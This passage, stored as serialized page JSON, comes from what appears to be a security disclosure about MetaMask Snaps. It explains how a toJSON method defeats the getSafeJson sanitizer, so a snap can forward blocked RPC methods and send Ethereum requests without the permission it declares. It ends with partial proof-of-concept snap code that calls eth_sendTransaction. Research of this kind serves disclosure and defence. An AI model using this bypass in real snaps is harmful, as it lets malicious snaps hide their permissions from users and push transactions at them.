872],{"type":23,"tag":141,"props":36868,"children":36869},{"style":828},[36870],{"type":29,"value":36871}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":23,"tag":141,"props":36873,"children":36874},{"style":154},[36875],{"type":29,"value":2168},{"type":23,"tag":141,"props":36877,"children":36878},{"class":143,"line":262},[36879],{"type":23,"tag":141,"props":36880,"children":36881},{"style":154},[36882],{"type":29,"value":36883}," );\n",{"type":23,"tag":141,"props":36885,"children":36886},{"class":143,"line":271},[36887,36891],{"type":23,"tag":141,"props":36888,"children":36889},{"style":184},[36890],{"type":29,"value":36728},{"type":23,"tag":141,"props":36892,"children":36893},{"style":154},[36894],{"type":29,"value":2123},{"type":23,"tag":141,"props":36896,"children":36897},{"class":143,"line":293},[36898,36902,36907,36911,36915,36919,36923,36927,36931],{"type":23,"tag":141,"props":36899,"children":36900},{"style":160},[36901],{"type":29,"value":19642},{"type":23,"tag":141,"props":36903,"children":36904},{"style":750},[36905],{"type":29,"value":36906},"BLOCKED_RPC_METHODS",{"type":23,"tag":141,"props":36908,"children":36909},{"style":154},[36910],{"type":29,"value":322},{"type":23,"tag":141,"props":36912,"children":36913},{"style":184},[36914],{"type":29,"value":33651},{"type":23,"tag":141,"props":36916,"children":36917},{"style":154},[36918],{"type":29,"value":192},{"type":23,"tag":141,"props":36920,"children":36921},{"style":750},[36922],{"type":29,"value":36699},{"type":23,"tag":141,"props":36924,"children":36925},{"style":154},[36926],{"type":29,"value":322},{"type":23,"tag":141,"props":36928,"children":36929},{"style":750},[36930],{"type":29,"value":36784},{"type":23,"tag":141,"props":36932,"children":36933},{"style":154},[36934],{"type":29,"value":5410},{"type":23,"tag":141,"props":36936,"children":36937},{"class":143,"line":801},[36938,36943,36947,36952,36956,36961],{"type":23,"tag":141,"props":36939,"children":36940},{"style":750},[36941],{"type":29,"value":36942}," ethErrors",{"type":23,"tag":141,"props":36944,"children":36945},{"style":154},[36946],{"type":29,"value":322},{"type":23,"tag":141,"props":36948,"children":36949},{"style":750},[36950],{"type":29,"value":36951},"rpc",{"type":23,"tag":141,"props":36953,"children":36954},{"style":154},[36955],{"type":29,"value":322},{"type":23,"tag":141,"props":36957,"children":36958},{"style":184},[36959],{"type":29,"value":36960},"methodNotFound",{"type":23,"tag":141,"props":36962,"children":36963},{"style":154},[36964],{"type":29,"value":13817},{"type":23,"tag":141,"props":36966,"children":36967},{"class":143,"line":810},[36968,36973],{"type":23,"tag":141,"props":36969,"children":36970},{"style":750},[36971],{"type":29,"value":36972}," data:",{"type":23,"tag":141,"props":36974,"children":36975},{"style":154},[36976],{"type":29,"value":1951},{"type":23,"tag":141,"props":36978,"children":36979},{"class":143,"line":824},[36980,36985,36990,36994,36998],{"type":23,"tag":141,"props":36981,"children":36982},{"style":750},[36983],{"type":29,"value":36984}," method:",{"type":23,"tag":141,"props":36986,"children":36987},{"style":750},[36988],{"type":29,"value":36989}," args",{"type":23,"tag":141,"props":36991,"children":36992},{"style":154},[36993],{"type":29,"value":322},{"type":23,"tag":141,"props":36995,"children":36996},{"style":750},[36997],{"type":29,"value":36784},{"type":23,"tag":141,"props":36999,"children":37000},{"style":154},[37001],{"type":29,"value":2168},{"type":23,"tag":141,"props":37003,"children":37004},{"class":143,"line":839},[37005],{"type":23,"tag":141,"props":37006,"children":37007},{"style":154},[37008],{"type":29,"value":35670},{"type":23,"tag":141,"props":37010,"children":37011},{"class":143,"line":848},[37012],{"type":23,"tag":141,"props":37013,"children":37014},{"style":154},[37015],{"type":29,"value":37016}," }),\n",{"type":23,"tag":141,"props":37018,"children":37019},{"class":143,"line":2304},[37020],{"type":23,"tag":141,"props":37021,"children":37022},{"style":154},[37023],{"type":29,"value":36883},{"type":23,"tag":141,"props":37025,"children":37026},{"class":143,"line":2313},[37027,37032,37036,37040,37044,37049,37053,37058],{"type":23,"tag":141,"props":37028,"children":37029},{"style":184},[37030],{"type":29,"value":37031}," assertStruct",{"type":23,"tag":141,"props":37033,"children":37034},{"style":154},[37035],{"type":29,"value":192},{"type":23,"tag":141,"props":37037,"children":37038},{"style":750},[37039],{"type":29,"value":36699},{"type":23,"tag":141,"props":37041,"children":37042},{"style":154},[37043],{"type":29,"value":480},{"type":23,"tag":141,"props":37045,"children":37046},{"style":750},[37047],{"type":29,"value":37048},"JsonStruct",{"type":23,"tag":141,"props":37050,"children":37051},{"style":154},[37052],{"type":29,"value":480},{"type":23,"tag":141,"props":37054,"children":37055},{"style":828},[37056],{"type":29,"value":37057},"'Provided value is not JSON-RPC compatible'",{"type":23,"tag":141,"props":37059,"children":37060},{"style":154},[37061],{"type":29,"value":2496},{"type":23,"tag":141,"props":37063,"children":37064},{"class":143,"line":2335},[37065],{"type":23,"tag":141,"props":37066,"children":37067},{"style":154},[37068],{"type":29,"value":2573},{"type":23,"tag":32,"props":37070,"children":37071},{},[37072,37074,37079,37081,37087,37088,37094],{"type":29,"value":37073},"This function is called by the ",{"type":23,"tag":38,"props":37075,"children":37077},{"className":37076},[],[37078],{"type":29,"value":36649},{"type":29,"value":37080}," RPC provider, so it can only send methods starting with ",{"type":23,"tag":38,"props":37082,"children":37084},{"className":37083},[],[37085],{"type":29,"value":37086},"wallet_",{"type":29,"value":11812},{"type":23,"tag":38,"props":37089,"children":37091},{"className":37090},[],[37092],{"type":29,"value":37093},"snap_",{"type":29,"value":37095},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":23,"tag":32,"props":37097,"children":37098},{},[37099,37101,37106,37108,37113,37115,37121],{"type":29,"value":37100},"On the other hand, the ",{"type":23,"tag":38,"props":37102,"children":37104},{"className":37103},[],[37105],{"type":29,"value":29885},{"type":29,"value":37107}," provider only blocks methods starting with ",{"type":23,"tag":38,"props":37109,"children":37111},{"className":37110},[],[37112],{"type":29,"value":37093},{"type":29,"value":37114}," and the blocked methods. However, it requires the ",{"type":23,"tag":38,"props":37116,"children":37118},{"className":37117},[],[37119],{"type":29,"value":37120},"endowment:ethereum-provider",{"type":29,"value":37122}," permission in the snap manifest.",{"type":23,"tag":17563,"props":37124,"children":37126},{"id":37125},"execution-flow",[37127],{"type":29,"value":37128},"Execution flow",{"type":23,"tag":32,"props":37130,"children":37131},{},[37132,37134,37139,37140,37145,37147,37152,37153,37159],{"type":29,"value":37133},"Both providers (",{"type":23,"tag":38,"props":37135,"children":37137},{"className":37136},[],[37138],{"type":29,"value":36649},{"type":29,"value":313},{"type":23,"tag":38,"props":37141,"children":37143},{"className":37142},[],[37144],{"type":29,"value":29885},{"type":29,"value":37146},") are built outside the SES container with a ",{"type":23,"tag":38,"props":37148,"children":37150},{"className":37149},[],[37151],{"type":29,"value":29961},{"type":29,"value":45},{"type":23,"tag":55,"props":37154,"children":37157},{"href":37155,"rel":37156},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[59],[37158],{"type":29,"value":29845},{"type":29,"value":114},{"type":23,"tag":131,"props":37161,"children":37163},{"className":34401,"code":37162,"language":34403,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[37164],{"type":23,"tag":38,"props":37165,"children":37166},{"__ignoreMap":7},[37167,37214,37239,37272,37307,37319,37339,37377,37397,37404,37421,37454,37461],{"type":23,"tag":141,"props":37168,"children":37169},{"class":143,"line":144},[37170,37174,37178,37182,37186,37190,37194,37198,37202,37206,37210],{"type":23,"tag":141,"props":37171,"children":37172},{"style":449},[37173],{"type":29,"value":34659},{"type":23,"tag":141,"props":37175,"children":37176},{"style":184},[37177],{"type":29,"value":29850},{"type":23,"tag":141,"props":37179,"children":37180},{"style":160},[37181],{"type":29,"value":1674},{"type":23,"tag":141,"props":37183,"children":37184},{"style":449},[37185],{"type":29,"value":34836},{"type":23,"tag":141,"props":37187,"children":37188},{"style":154},[37189],{"type":29,"value":1220},{"type":23,"tag":141,"props":37191,"children":37192},{"style":750},[37193],{"type":29,"value":36699},{"type":23,"tag":141,"props":37195,"children":37196},{"style":160},[37197],{"type":29,"value":114},{"type":23,"tag":141,"props":37199,"children":37200},{"style":725},[37201],{"type":29,"value":36708},{"type":23,"tag":141,"props":37203,"children":37204},{"style":154},[37205],{"type":29,"value":1748},{"type":23,"tag":141,"props":37207,"children":37208},{"style":449},[37209],{"type":29,"value":13498},{"type":23,"tag":141,"props":37211,"children":37212},{"style":154},[37213],{"type":29,"value":1951},{"type":23,"tag":141,"props":37215,"children":37216},{"class":143,"line":180},[37217,37222,37226,37230,37234],{"type":23,"tag":141,"props":37218,"children":37219},{"style":184},[37220],{"type":29,"value":37221}," assertSnapOutboundRequest",{"type":23,"tag":141,"props":37223,"children":37224},{"style":154},[37225],{"type":29,"value":192},{"type":23,"tag":141,"props":37227,"children":37228},{"style":750},[37229],{"type":29,"value":36699},{"type":23,"tag":141,"props":37231,"children":37232},{"style":154},[37233],{"type":29,"value":27038},{"type":23,"tag":141,"props":37235,"children":37236},{"style":443},[37237],{"type":29,"value":37238},"// or assertEthereumOutboundRequest(args);\n",{"type":23,"tag":141,"props":37240,"children":37241},{"class":143,"line":205},[37242,37246,37251,37255,37260,37264,37268],{"type":23,"tag":141,"props":37243,"children":37244},{"style":449},[37245],{"type":29,"value":30015},{"type":23,"tag":141,"props":37247,"children":37248},{"style":750},[37249],{"type":29,"value":37250}," sanitizedArgs",{"type":23,"tag":141,"props":37252,"children":37253},{"style":160},[37254],{"type":29,"value":1674},{"type":23,"tag":141,"props":37256,"children":37257},{"style":184},[37258],{"type":29,"value":37259}," getSafeJson",{"type":23,"tag":141,"props":37261,"children":37262},{"style":154},[37263],{"type":29,"value":192},{"type":23,"tag":141,"props":37265,"children":37266},{"style":750},[37267],{"type":29,"value":36699},{"type":23,"tag":141,"props":37269,"children":37270},{"style":154},[37271],{"type":29,"value":2496},{"type":23,"tag":141,"props":37273,"children":37274},{"class":143,"line":218},[37275,37280,37284,37289,37293,37297,37302],{"type":23,"tag":141,"props":37276,"children":37277},{"style":449},[37278],{"type":29,"value":37279}," this",{"type":23,"tag":141,"props":37281,"children":37282},{"style":154},[37283],{"type":29,"value":322},{"type":23,"tag":141,"props":37285,"children":37286},{"style":184},[37287],{"type":29,"value":37288},"notify",{"type":23,"tag":141,"props":37290,"children":37291},{"style":154},[37292],{"type":29,"value":29966},{"type":23,"tag":141,"props":37294,"children":37295},{"style":750},[37296],{"type":29,"value":29971},{"type":23,"tag":141,"props":37298,"children":37299},{"style":828},[37300],{"type":29,"value":37301}," 'OutboundRequest'",{"type":23,"tag":141,"props":37303,"children":37304},{"style":154},[37305],{"type":29,"value":37306}," });\n",{"type":23,"tag":141,"props":37308,"children":37309},{"class":143,"line":227},[37310,37315],{"type":23,"tag":141,"props":37311,"children":37312},{"style":148},[37313],{"type":29,"value":37314}," try",{"type":23,"tag":141,"props":37316,"children":37317},{"style":154},[37318],{"type":29,"value":1951},{"type":23,"tag":141,"props":37320,"children":37321},{"class":143,"line":241},[37322,37326,37330,37335],{"type":23,"tag":141,"props":37323,"children":37324},{"style":148},[37325],{"type":29,"value":14420},{"type":23,"tag":141,"props":37327,"children":37328},{"style":148},[37329],{"type":29,"value":34682},{"type":23,"tag":141,"props":37331,"children":37332},{"style":184},[37333],{"type":29,"value":37334}," withTeardown",{"type":23,"tag":141,"props":37336,"children":37337},{"style":154},[37338],{"type":29,"value":2123},{"type":23,"tag":141,"props":37340,"children":37341},{"class":143,"line":262},[37342,37347,37351,37356,37360,37365,37369,37373],{"type":23,"tag":141,"props":37343,"children":37344},{"style":184},[37345],{"type":29,"value":37346}," originalRequest",{"type":23,"tag":141,"props":37348,"children":37349},{"style":154},[37350],{"type":29,"value":192},{"type":23,"tag":141,"props":37352,"children":37353},{"style":750},[37354],{"type":29,"value":37355},"sanitizedArgs",{"type":23,"tag":141,"props":37357,"children":37358},{"style":148},[37359],{"type":29,"value":7504},{"type":23,"tag":141,"props":37361,"children":37362},{"style":725},[37363],{"type":29,"value":37364}," unknown",{"type":23,"tag":141,"props":37366,"children":37367},{"style":148},[37368],{"type":29,"value":7504},{"type":23,"tag":141,"props":37370,"children":37371},{"style":725},[37372],{"type":29,"value":36708},{"type":23,"tag":141,"props":37374,"children":37375},{"style":154},[37376],{"type":29,"value":5410},{"type":23,"tag":141,"props":37378,"children":37379},{"class":143,"line":271},[37380,37385,37389,37393],{"type":23,"tag":141,"props":37381,"children":37382},{"style":449},[37383],{"type":29,"value":37384}," this",{"type":23,"tag":141,"props":37386,"children":37387},{"style":148},[37388],{"type":29,"value":7504},{"type":23,"tag":141,"props":37390,"children":37391},{"style":725},[37392],{"type":29,"value":9038},{"type":23,"tag":141,"props":37394,"children":37395},{"style":154},[37396],{"type":29,"value":2168},{"type":23,"tag":141,"props":37398,"children":37399},{"class":143,"line":293},[37400],{"type":23,"tag":141,"props":37401,"children":37402},{"style":154},[37403],{"type":29,"value":6418},{"type":23,"tag":141,"props":37405,"children":37406},{"class":143,"line":801},[37407,37412,37417],{"type":23,"tag":141,"props":37408,"children":37409},{"style":154},[37410],{"type":29,"value":37411}," } ",{"type":23,"tag":141,"props":37413,"children":37414},{"style":148},[37415],{"type":29,"value":37416},"finally",{"type":23,"tag":141,"props":37418,"children":37419},{"style":154},[37420],{"type":29,"value":1951},{"type":23,"tag":141,"props":37422,"children":37423},{"class":143,"line":810},[37424,37429,37433,37437,37441,37445,37450],{"type":23,"tag":141,"props":37425,"children":37426},{"style":449},[37427],{"type":29,"value":37428}," this",{"type":23,"tag":141,"props":37430,"children":37431},{"style":154},[37432],{"type":29,"value":322},{"type":23,"tag":141,"props":37434,"children":37435},{"style":184},[37436],{"type":29,"value":37288},{"type":23,"tag":141,"props":37438,"children":37439},{"style":154},[37440],{"type":29,"value":29966},{"type":23,"tag":141,"props":37442,"children":37443},{"style":750},[37444],{"type":29,"value":29971},{"type":23,"tag":141,"props":37446,"children":37447},{"style":828},[37448],{"type":29,"value":37449}," 'OutboundResponse'",{"type":23,"tag":141,"props":37451,"children":37452},{"style":154},[37453],{"type":29,"value":37306},{"type":23,"tag":141,"props":37455,"children":37456},{"class":143,"line":824},[37457],{"type":23,"tag":141,"props":37458,"children":37459},{"style":154},[37460],{"type":29,"value":11343},{"type":23,"tag":141,"props":37462,"children":37463},{"class":143,"line":839},[37464],{"type":23,"tag":141,"props":37465,"children":37466},{"style":154},[37467],{"type":29,"value":37468}," };\n",{"type":23,"tag":32,"props":37470,"children":37471},{},[37472,37474,37479,37481,37486],{"type":29,"value":37473},"In particular, this function is from the ",{"type":23,"tag":38,"props":37475,"children":37477},{"className":37476},[],[37478],{"type":29,"value":36649},{"type":29,"value":37480}," provider, but the only thing that changes between this and ",{"type":23,"tag":38,"props":37482,"children":37484},{"className":37483},[],[37485],{"type":29,"value":29885},{"type":29,"value":37487}," is the assert function in the first line.",{"type":23,"tag":32,"props":37489,"children":37490},{},[37491],{"type":29,"value":37492},"As we can see in the code, the execution flow follows this pattern:",{"type":23,"tag":116,"props":37494,"children":37495},{},[37496,37508,37513],{"type":23,"tag":120,"props":37497,"children":37498},{},[37499,37501,37506],{"type":29,"value":37500},"Assert if ",{"type":23,"tag":38,"props":37502,"children":37504},{"className":37503},[],[37505],{"type":29,"value":36699},{"type":29,"value":37507}," are valid",{"type":23,"tag":120,"props":37509,"children":37510},{},[37511],{"type":29,"value":37512},"getSafeJson to get sanitizedArgs",{"type":23,"tag":120,"props":37514,"children":37515},{},[37516],{"type":29,"value":37517},"originalRequest(sanitizedArgs)",{"type":23,"tag":32,"props":37519,"children":37520},{},[37521,37523,37529],{"type":29,"value":37522},"Obs: ",{"type":23,"tag":38,"props":37524,"children":37526},{"className":37525},[],[37527],{"type":29,"value":37528},"originalRequest",{"type":29,"value":37530}," makes the RPC call to metamask service worker",{"type":23,"tag":8287,"props":37532,"children":37534},{"id":37533},"safe-json-exploit",[37535],{"type":29,"value":37536},"Safe JSON Exploit",{"type":23,"tag":32,"props":37538,"children":37539},{},[37540,37542,37548,37550,37555,37557,37563],{"type":29,"value":37541},"As we dug further into the",{"type":23,"tag":38,"props":37543,"children":37545},{"className":37544},[],[37546],{"type":29,"value":37547},"getSafeJson",{"type":29,"value":37549}," function (defined in ",{"type":23,"tag":38,"props":37551,"children":37553},{"className":37552},[],[37554],{"type":29,"value":35767},{"type":29,"value":37556}," package) we discovered the following ",{"type":23,"tag":55,"props":37558,"children":37561},{"href":37559,"rel":37560},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[59],[37562],{"type":29,"value":38},{"type":29,"value":114},{"type":23,"tag":131,"props":37565,"children":37567},{"className":34084,"code":37566,"language":34086,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n );\n});\n",[37568],{"type":23,"tag":38,"props":37569,"children":37570},{"__ignoreMap":7},[37571,37636,37663,37688,37743,37751,37798,37814,37821,37838,37845,37852],{"type":23,"tag":141,"props":37572,"children":37573},{"class":143,"line":144},[37574,37578,37583,37588,37592,37597,37601,37606,37610,37614,37619,37624,37628,37632],{"type":23,"tag":141,"props":37575,"children":37576},{"style":148},[37577],{"type":29,"value":36680},{"type":23,"tag":141,"props":37579,"children":37580},{"style":449},[37581],{"type":29,"value":37582}," const",{"type":23,"tag":141,"props":37584,"children":37585},{"style":750},[37586],{"type":29,"value":37587}," JsonStruct",{"type":23,"tag":141,"props":37589,"children":37590},{"style":160},[37591],{"type":29,"value":1674},{"type":23,"tag":141,"props":37593,"children":37594},{"style":184},[37595],{"type":29,"value":37596}," coerce",{"type":23,"tag":141,"props":37598,"children":37599},{"style":154},[37600],{"type":29,"value":192},{"type":23,"tag":141,"props":37602,"children":37603},{"style":750},[37604],{"type":29,"value":37605},"UnsafeJsonStruct",{"type":23,"tag":141,"props":37607,"children":37608},{"style":154},[37609],{"type":29,"value":480},{"type":23,"tag":141,"props":37611,"children":37612},{"style":184},[37613],{"type":29,"value":15389},{"type":23,"tag":141,"props":37615,"children":37616},{"style":154},[37617],{"type":29,"value":37618},"(), (",{"type":23,"tag":141,"props":37620,"children":37621},{"style":750},[37622],{"type":29,"value":37623},"value",{"type":23,"tag":141,"props":37625,"children":37626},{"style":154},[37627],{"type":29,"value":1748},{"type":23,"tag":141,"props":37629,"children":37630},{"style":449},[37631],{"type":29,"value":13498},{"type":23,"tag":141,"props":37633,"children":37634},{"style":154},[37635],{"type":29,"value":1951},{"type":23,"tag":141,"props":37637,"children":37638},{"class":143,"line":180},[37639,37643,37647,37651,37655,37659],{"type":23,"tag":141,"props":37640,"children":37641},{"style":184},[37642],{"type":29,"value":37031},{"type":23,"tag":141,"props":37644,"children":37645},{"style":154},[37646],{"type":29,"value":192},{"type":23,"tag":141,"props":37648,"children":37649},{"style":750},[37650],{"type":29,"value":37623},{"type":23,"tag":141,"props":37652,"children":37653},{"style":154},[37654],{"type":29,"value":480},{"type":23,"tag":141,"props":37656,"children":37657},{"style":750},[37658],{"type":29,"value":37605},{"type":23,"tag":141,"props":37660,"children":37661},{"style":154},[37662],{"type":29,"value":2496},{"type":23,"tag":141,"props":37664,"children":37665},{"class":143,"line":205},[37666,37671,37675,37679,37684],{"type":23,"tag":141,"props":37667,"children":37668},{"style":148},[37669],{"type":29,"value":37670}," return",{"type":23,"tag":141,"props":37672,"children":37673},{"style":750},[37674],{"type":29,"value":35999},{"type":23,"tag":141,"props":37676,"children":37677},{"style":154},[37678],{"type":29,"value":322},{"type":23,"tag":141,"props":37680,"children":37681},{"style":184},[37682],{"type":29,"value":37683},"parse",{"type":23,"tag":141,"props":37685,"children":37686},{"style":154},[37687],{"type":29,"value":2123},{"type":23,"tag":141,"props":37689,"children":37690},{"class":143,"line":218},[37691,37696,37700,37705,37709,37713,37717,37722,37726,37731,37735,37739],{"type":23,"tag":141,"props":37692,"children":37693},{"style":750},[37694],{"type":29,"value":37695}," JSON",{"type":23,"tag":141,"props":37697,"children":37698},{"style":154},[37699],{"type":29,"value":322},{"type":23,"tag":141,"props":37701,"children":37702},{"style":184},[37703],{"type":29,"value":37704},"stringify",{"type":23,"tag":141,"props":37706,"children":37707},{"style":154},[37708],{"type":29,"value":192},{"type":23,"tag":141,"props":37710,"children":37711},{"style":750},[37712],{"type":29,"value":37623},{"type":23,"tag":141,"props":37714,"children":37715},{"style":154},[37716],{"type":29,"value":7495},{"type":23,"tag":141,"props":37718,"children":37719},{"style":750},[37720],{"type":29,"value":37721},"propKey",{"type":23,"tag":141,"props":37723,"children":37724},{"style":154},[37725],{"type":29,"value":480},{"type":23,"tag":141,"props":37727,"children":37728},{"style":750},[37729],{"type":29,"value":37730},"propValue",{"type":23,"tag":141,"props":37732,"children":37733},{"style":154},[37734],{"type":29,"value":1748},{"type":23,"tag":141,"props":37736,"children":37737},{"style":449},[37738],{"type":29,"value":13498},{"type":23,"tag":141,"props":37740,"children":37741},{"style":154},[37742],{"type":29,"value":1951},{"type":23,"tag":141,"props":37744,"children":37745},{"class":143,"line":227},[37746],{"type":23,"tag":141,"props":37747,"children":37748},{"style":443},[37749],{"type":29,"value":37750}," // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":23,"tag":141,"props":37752,"children":37753},{"class":143,"line":241},[37754,37759,37763,37767,37771,37776,37780,37785,37789,37794],{"type":23,"tag":141,"props":37755,"children":37756},{"style":148},[37757],{"type":29,"value":37758}," if",{"type":23,"tag":141,"props":37760,"children":37761},{"style":154},[37762],{"type":29,"value":1220},{"type":23,"tag":141,"props":37764,"children":37765},{"style":750},[37766],{"type":29,"value":37721},{"type":23,"tag":141,"props":37768,"children":37769},{"style":160},[37770],{"type":29,"value":29890},{"type":23,"tag":141,"props":37772,"children":37773},{"style":828},[37774],{"type":29,"value":37775}," '__proto__'",{"type":23,"tag":141,"props":37777,"children":37778},{"style":160},[37779],{"type":29,"value":22380},{"type":23,"tag":141,"props":37781,"children":37782},{"style":750},[37783],{"type":29,"value":37784}," propKey",{"type":23,"tag":141,"props":37786,"children":37787},{"style":160},[37788],{"type":29,"value":29890},{"type":23,"tag":141,"props":37790,"children":37791},{"style":828},[37792],{"type":29,"value":37793}," 'constructor'",{"type":23,"tag":141,"props":37795,"children":37796},{"style":154},[37797],{"type":29,"value":13480},{"type":23,"tag":141,"props":37799,"children":37800},{"class":143,"line":262},[37801,37805,37810],{"type":23,"tag":141,"props":37802,"children":37803},{"style":148},[37804],{"type":29,"value":14420},{"type":23,"tag":141,"props":37806,"children":37807},{"style":449},[37808],{"type":29,"value":37809}," undefined",{"type":23,"tag":141,"props":37811,"children":37812},{"style":154},[37813],{"type":29,"value":1684},{"type":23,"tag":141,"props":37815,"children":37816},{"class":143,"line":271},[37817],{"type":23,"tag":141,"props":37818,"children":37819},{"style":154},[37820],{"type":29,"value":11343},{"type":23,"tag":141,"props":37822,"children":37823},{"class":143,"line":293},[37824,37829,37834],{"type":23,"tag":141,"props":37825,"children":37826},{"style":148},[37827],{"type":29,"value":37828}," return",{"type":23,"tag":141,"props":37830,"children":37831},{"style":750},[37832],{"type":29,"value":37833}," propValue",{"type":23,"tag":141,"props":37835,"children":37836},{"style":154},[37837],{"type":29,"value":1684},{"type":23,"tag":141,"props":37839,"children":37840},{"class":143,"line":801},[37841],{"type":23,"tag":141,"props":37842,"children":37843},{"style":154},[37844],{"type":29,"value":37016},{"type":23,"tag":141,"props":37846,"children":37847},{"class":143,"line":810},[37848],{"type":23,"tag":141,"props":37849,"children":37850},{"style":154},[37851],{"type":29,"value":36883},{"type":23,"tag":141,"props":37853,"children":37854},{"class":143,"line":824},[37855],{"type":23,"tag":141,"props":37856,"children":37857},{"style":154},[37858],{"type":29,"value":33808},{"type":23,"tag":32,"props":37860,"children":37861},{},[37862,37864,37870,37872,37877,37879,37885,37887,37893],{"type":29,"value":37863},"The function performs a ",{"type":23,"tag":38,"props":37865,"children":37867},{"className":37866},[],[37868],{"type":29,"value":37869},"JSON.parse(JSON.stringify(value))",{"type":29,"value":37871}," in the argument sent to ",{"type":23,"tag":38,"props":37873,"children":37875},{"className":37874},[],[37876],{"type":29,"value":37547},{"type":29,"value":37878},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":23,"tag":38,"props":37880,"children":37882},{"className":37881},[],[37883],{"type":29,"value":37884},"toJSON",{"type":29,"value":37886}," function in a legit ",{"type":23,"tag":38,"props":37888,"children":37890},{"className":37889},[],[37891],{"type":29,"value":37892},"snap.request",{"type":29,"value":37894}," argument:",{"type":23,"tag":116,"props":37896,"children":37897},{},[37898,37903,37908],{"type":23,"tag":120,"props":37899,"children":37900},{},[37901],{"type":29,"value":37902},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":23,"tag":120,"props":37904,"children":37905},{},[37906],{"type":29,"value":37907},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":23,"tag":120,"props":37909,"children":37910},{},[37911],{"type":29,"value":37912},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":23,"tag":32,"props":37914,"children":37915},{},[37916],{"type":29,"value":37917},"The assertion bypass can be useful on two occasions:",{"type":23,"tag":116,"props":37919,"children":37920},{},[37921,37926],{"type":23,"tag":120,"props":37922,"children":37923},{},[37924],{"type":29,"value":37925},"forward blocked RPC methods",{"type":23,"tag":120,"props":37927,"children":37928},{},[37929,37931,37936,37938,37944,37946,37951],{"type":29,"value":37930},"Making requests in ",{"type":23,"tag":38,"props":37932,"children":37934},{"className":37933},[],[37935],{"type":29,"value":37892},{"type":29,"value":37937}," that were only supposed to be done within ",{"type":23,"tag":38,"props":37939,"children":37941},{"className":37940},[],[37942],{"type":29,"value":37943},"ethereum.request",{"type":29,"value":37945}," (with ",{"type":23,"tag":38,"props":37947,"children":37949},{"className":37948},[],[37950],{"type":29,"value":37120},{"type":29,"value":37952}," enabled).",{"type":23,"tag":32,"props":37954,"children":37955},{},[37956],{"type":29,"value":37957},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":23,"tag":8287,"props":37959,"children":37960},{"id":4336},[37961],{"type":29,"value":4339},{"type":23,"tag":32,"props":37963,"children":37964},{},[37965],{"type":29,"value":37966},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":23,"tag":32,"props":37968,"children":37969},{},[37970],{"type":23,"tag":2591,"props":37971,"children":37973},{"alt":7,"src":37972},"/posts/metamask-snaps/note.png",[],{"type":23,"tag":8287,"props":37975,"children":37977},{"id":37976},"proof-of-concept",[37978],{"type":29,"value":33299},{"type":23,"tag":32,"props":37980,"children":37981},{},[37982,37984,37989,37991,37996,37998,38004],{"type":29,"value":37983},"To demonstrate the issue, we created a snap without the ",{"type":23,"tag":38,"props":37985,"children":37987},{"className":37986},[],[37988],{"type":29,"value":37120},{"type":29,"value":37990}," permission, and used the ",{"type":23,"tag":38,"props":37992,"children":37994},{"className":37993},[],[37995],{"type":29,"value":36649},{"type":29,"value":37997}," interface to call ",{"type":23,"tag":38,"props":37999,"children":38001},{"className":38000},[],[38002],{"type":29,"value":38003},"eth_sendTransaction",{"type":29,"value":38005},". According to the documentation, this shouldn't be possible:",{"type":23,"tag":131,"props":38007,"children":38009},{"className":34084,"code":38008,"language":34086,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n }\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n 